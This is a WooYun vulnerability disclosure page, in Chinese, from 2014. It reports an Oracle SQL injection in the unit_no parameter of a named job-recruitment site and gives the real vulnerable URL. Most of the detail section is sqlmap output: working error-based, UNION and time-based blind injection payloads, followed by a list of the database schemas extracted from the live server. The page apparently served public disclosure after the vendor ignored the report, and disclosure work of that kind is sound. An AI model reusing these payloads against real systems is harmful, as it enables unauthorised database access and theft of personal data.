当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-088502

漏洞标题：南方人才网oracle注射漏洞一枚

相关厂商：南方人才网

漏洞作者： 0x 80

提交时间：2014-12-25 17:45

修复时间：2015-02-08 17:46

公开时间：2015-02-08 17:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-25： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-08： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

oracle注射

详细说明：

Place: GET
Parameter: unit_no
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: unit_no=381312002' AND 7892=(SELECT UPPER(XMLType(CHR(60)||CHR(58)|
|CHR(121)||CHR(121)||CHR(118)||CHR(58)||(SELECT (CASE WHEN (7892=7892) THEN 1 EL
SE 0 END) FROM DUAL)||CHR(58)||CHR(104)||CHR(112)||CHR(113)||CHR(58)||CHR(62)))
FROM DUAL) AND 'hpsA'='hpsA
    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: unit_no=381312002' UNION ALL SELECT NULL,CHR(58)||CHR(121)||CHR(121
)||CHR(118)||CHR(58)||CHR(108)||CHR(111)||CHR(74)||CHR(75)||CHR(103)||CHR(102)||
CHR(76)||CHR(72)||CHR(65)||CHR(120)||CHR(58)||CHR(104)||CHR(112)||CHR(113)||CHR(
58),NULL,NULL,NULL,NULL FROM DUAL--
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: unit_no=381312002' AND 1616=DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(
100)||CHR(87)||CHR(105),5) AND 'UlJq'='UlJq
---
[22:19:20] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle

漏洞证明：

available databases [15]:
[*] BBS
[*] CORE
[*] DBSNMP
[*] GZZP
[*] IPTV
[*] NFRC
[*] OEM_JOB168_CPXT
[*] OUTLN
[*] PERFSTAT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TEST
[*] TSMSYS
[*] WMSYS


www.job168.com/english/person/etcpos.jsp?unit_no=381312002

修复方案：

版权声明：转载请注明来源 0x 80@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝